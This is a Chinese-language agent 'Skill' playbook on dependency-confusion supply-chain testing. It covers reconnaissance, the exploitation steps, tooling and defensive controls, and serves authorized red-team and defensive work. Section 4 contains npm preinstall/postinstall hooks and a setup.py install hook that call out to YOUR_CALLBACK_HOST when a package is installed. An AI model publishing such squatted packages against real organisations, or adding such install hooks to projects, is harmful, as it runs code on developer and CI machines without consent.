dependency-confusion

dependency-confusion

熱門

透過套件管理器的相依性混淆(Dependency Confusion)進行供應鏈測試:當內部套件名稱被解析至攻擊者控制的公開 Registry 時,可能導致惡意套件安裝與腳本執行。本 Skill 適用於 npm/pip/gem/Maven/Composer/Docker 資訊清單(Manifest)審查,以及獲得授權的紅隊供應鏈演練。

1528星標
197分支
更新於 2026/6/16
SKILL.md
唯讀
名稱
dependency-confusion
描述

透過套件管理器的相依性混淆(Dependency Confusion)進行供應鏈測試:當內部套件名稱被解析至攻擊者控制的公開 Registry 時,可能導致惡意套件安裝與腳本執行。本 Skill 適用於 npm/pip/gem/Maven/Composer/Docker 資訊清單(Manifest)審查,以及獲得授權的紅隊供應鏈演練。

SKILL: 相依性混淆(Dependency Confusion)— 供應鏈攻擊演練手冊

AI 載入指令:專業的相依性混淆(Dependency Confusion)方法論。內容涵蓋私有套件名稱如何外洩、公開 Registry 如何在版本解析中勝出、特定生態系統的陷阱(npm scope、pip extra indexes、Maven 儲存庫順序)、偵察指令、非破壞性 PoC 模式(使用 Callback 回呼而非資料外洩),以及防禦控制措施。當範圍包含 Manifest 或 CI 快取時,請搭配供應鏈偵察工作流程使用。僅限在獲得授權測試的系統與專案中使用。

0. 快速入門

優先排查重點

  • 包含看起來像內部套件(短名稱且未加上 Scope、組織特有 Token、產品代號)的 Manifest,且未設定強制私有 Registry 鎖定
  • 跡象表明相同名稱可能存在(或可被搶註/Squat)於公開 Registry 上,且其語意化版本(semver)高於私有源發布的版本。
  • Lockfile 缺失、過期或未在 CI 中強制執行,導致 install/build 過程偏向抓取公開的元資料(Metadata)。

心智模型若解析器能同時存取私有與公開 Index,且版本範圍符合要求,則「最新」的符合版本就很可能是攻擊者所發布的。

路由說明:若任務源自供應鏈、儲存庫外洩或 CI 構建偵察,請先使用 recon-for-sec 列出內部套件名稱及可能的公開 Registry 碰撞風險。


1. 核心概念

  1. 私有套件:組織僅在內部 Registry(或依據「專屬內部」的命名慣例)發布函式庫,例如具備 Scope 的名稱 @org-scope/internal-utils,或未加上 Scope 的名稱如 acme-billing-sdk
  2. 攻擊者搶註名稱:在公開 Registry(如 npmjs、PyPI、RubyGems 等)上發布同名的套件。
  3. 解析器偏好:許多套件管理器的設定會在所有已配置的 Index 中解析最高符合版本(或合併 Metadata),因此在版本範圍允許下,公開的 9.9.9 會優先於私有的 1.2.3
  4. 程式碼執行:套件管理器執行生命週期腳本(如 npm 的 preinstall/postinstall、setuptools 入口點等)→ 攻擊者程式碼隨即在開發者電腦、CI 環境或正式環境容器映像檔建置過程中運行。

這屬於供應鏈層級的安全問題:影響範圍通常極廣(涉及眾多使用者),且在建置或執行階段 Hook 觸發前往往難以察覺


2. 受影響的生態系統

生態系統 常見 Manifest 相依性混淆切入點
npm package.json 當 Scope 在 Registry 上已被合法擁有時,具備 Scope 的套件 (@scope/pkg) 較為安全未加上 Scope 的私有風格名稱則屬於高風險。多重 Registry / .npmrc 中的 registry 與個別 Scope 的 @scope:registry= 設定不當會增加風險。
pip requirements.txt, pyproject.toml, setup.py 使用 pip install -i / --extra-index-url 會合併多個 Index;公開 Index 可能會針對相同的 Distribution 名稱提供更高版本
RubyGems Gemfile source 的順序及額外的 Source 設定;可從 rubygems.org 存取到的模稜兩可 Gem 名稱。
Maven pom.xml Repository 宣告順序Mirror 設定;若策略允許,發布相同 groupId:artifactId 但版本更高的公開 Repo 將會勝出。
Composer composer.json 預設使用 Packagist;缺少 repositories/canonical 規範的私有套件可能會與公開名稱發生碰撞。
Docker FROM, image tags 在容器 Registry(如 Docker Hub)上搶註與內部 Base Image 名稱相似的 Image(拼寫搶註/Typosquatting)。

3. 資訊偵察

內部名稱外洩管道

  • 提交至儲存庫(Repo)或 Fork 中的 package.jsonrequirements.txtGemfilepom.xmlcomposer.json
  • 引用套件路徑的 JavaScript Source Map、打包後的靜態資源或錯誤堆疊追蹤(Error Stack Trace)
  • 顯現安裝 URL 或 Mirror 端點的 .npmrc.pypircCI 紀錄檔
  • Issue 追蹤系統Gist 程式碼片段以及 SBOM 匯出檔案中的相依性圖譜(Dependency Graph)

檢查公開 Registry 搶註/可占有性(僅限唯讀)

# npm — metadata for a name (unscoped)
npm view some-internal-package-name version

# npm — scoped (requires scope to exist / be readable)
npm view @some-scope/internal-lib versions --json

# PyPI — dry-run style version probe (adjust name; fails if not found)
python3 -m pip install --dry-run 'some-internal-package-name==99.99.99'

# RubyGems — query remote
gem search '^some-internal-package-name$' --remote

# Maven Central — search coordinates (example pattern)
# curl "https://search.maven.org/solrsearch/select?q=g:com.example+AND+a:internal-lib&rows=1&wt=json"

路由說明:完成套件名稱列舉後,請僅在獲得授權的環境中考慮進行 PoC;公開 Registry 的查詢本身通常屬於被動偵察。


4. 漏洞利用(Exploitation)

授權測試模式

  1. 在目標解析器可存取的公開 Registry 上,註冊(或使用受控的命名空間)相同的套件名稱
  2. 在受害者宣告的版本範圍內,發布比合法內部套件更高的語意化版本(semver)(例如 ^1.0.0 → 發布 9.9.9)。
  3. 加入可證明程式碼已執行的生命週期 Hook,且不得危害主機—優先使用指向您控制之 Collaborator 的 DNS/HTTP Callback 回呼嚴禁破壞性寫入

npm package.json — 最小化 Callback 風格 PoC 範例

{
  "name": "some-internal-package-name",
  "version": "9.9.9",
  "description": "authorized dependency-confusion PoC only",
  "scripts": {
    "preinstall": "node -e \"require('https').get('https://YOUR_CALLBACK_HOST/poc?t='+process.env.npm_package_name)\""
  }
}

npm package.json — Shell + curl 備用 PoC 範例

{
  "scripts": {
    "postinstall": "curl -fsS 'https://YOUR_CALLBACK_HOST/npm-postinstall' || true"
  }
}

pip — setup Hook 模式範例(僅限於獲授權的實驗室套件中使用)

# setup.py (excerpt)
from setuptools import setup
from setuptools.command.install import install

class PoCInstall(install):
    def run(self):
        import urllib.request
        urllib.request.urlopen("https://YOUR_CALLBACK_HOST/pip-install")
        install.run(self)

setup(
    name="some-internal-package-name",
    version="9.9.9",
    cmdclass={"install": PoCInstall},
)

參考實作(研究/實驗室):社群 PoC 架構與工作流程可參考 0xsapra/dependency-confusion-exploit僅在取得書面授權前提下自動化進行版本遞增、發布與 Callback 確認。


5. 工具

工具 用途
visma-prodsec/confused 掃描 Manifest 檔案,找出可能可在公開 Registry 上被搶註/宣告的相依性套件名稱(支援多種生態系統)。
synacktiv/DepFuzzer 自動化相依性混淆測試工作流程(嚴格限制在授權測試範圍內使用)。

請僅針對您自家的 Manifest 或獲得授權的演練專案執行上述工具;切勿用於搶註無關第三方套件名稱。


6. 防禦措施

  • npm:優先使用由組織擁有Scoped 套件 (@org-scope/pkg);設定 .npmrc 將私有 Scope 對映至私有 Registry,避免預設的 registry 意外將內部套件導向公開源。
  • 固定版本:在 CI 中強制實施精確版本(Exact version) + Lockfile (package-lock.jsonpoetry.lockGemfile.lockcomposer.lock)。
  • pip:避免隨意使用 --extra-index-url;優先採用具備 Mirroring 機制的單一私有 Index,或在 CI 中設定明確的 --index-url 策略。
  • Maven / Gradle:管控 Repository 順序、使用內部 Mirror,並在發布管道(Release Pipeline)中封鎖非預期的 groupId。
  • Composer:針對私有套件使用 repositories 並設定 canonical: true;確認 Packagist 未引入非預期的 Vendor。
  • 防禦性註冊:在政策允許的情況下,於公開 Registry 上預留內部套件名稱(自我搶註)。
  • 持續監控:使用 Socket.devSnyk 或類似的 SBOM/供應鏈掃描工具,針對關鍵套件的新發布者版本異常跳躍發出警報。

7. 決策樹

Manifest 中是否引用了可能在全域非唯一的套件名稱?
├─ 否 → 單純依據命名不太可能發生相依性混淆;請轉向排查拼寫搶註(Typosquatting)或帳號遭入侵等風險。
└─ 是
    ├─ 私有 Registry 是否為該名稱的「唯一」來源(Scoped + .npmrc / 單一 Index / Mirror)?
    │   ├─ 是 → 風險較低;但仍需確認 CI 與開發者電腦未覆寫配置。
    │   └─ 否 → 高風險
    │         ├─ 公開 Registry 能否在已宣告的範圍內發布「更高版本」?
    │         │   ├─ 能 → 在授權測試中視為可利用漏洞;使用 Callback PoC 進行驗證。
    │         │   └─ 不能 → 排查 Pre-release Tag、本地 `file:` 相依性以及過期的 Lockfile。
    │         └─ CI 中是否已停用/封鎖生命週期腳本?(可降低影響,但無法消除搶註風險)

相關路由

  • 來自 recon-for-sec:進行供應鏈偵察時,在提出任何發布或 PoC 步驟前,請先將外洩的 Manifest 與內部套件識別碼,交叉比對第 3 節的檢查項目與第 7 節的決策樹。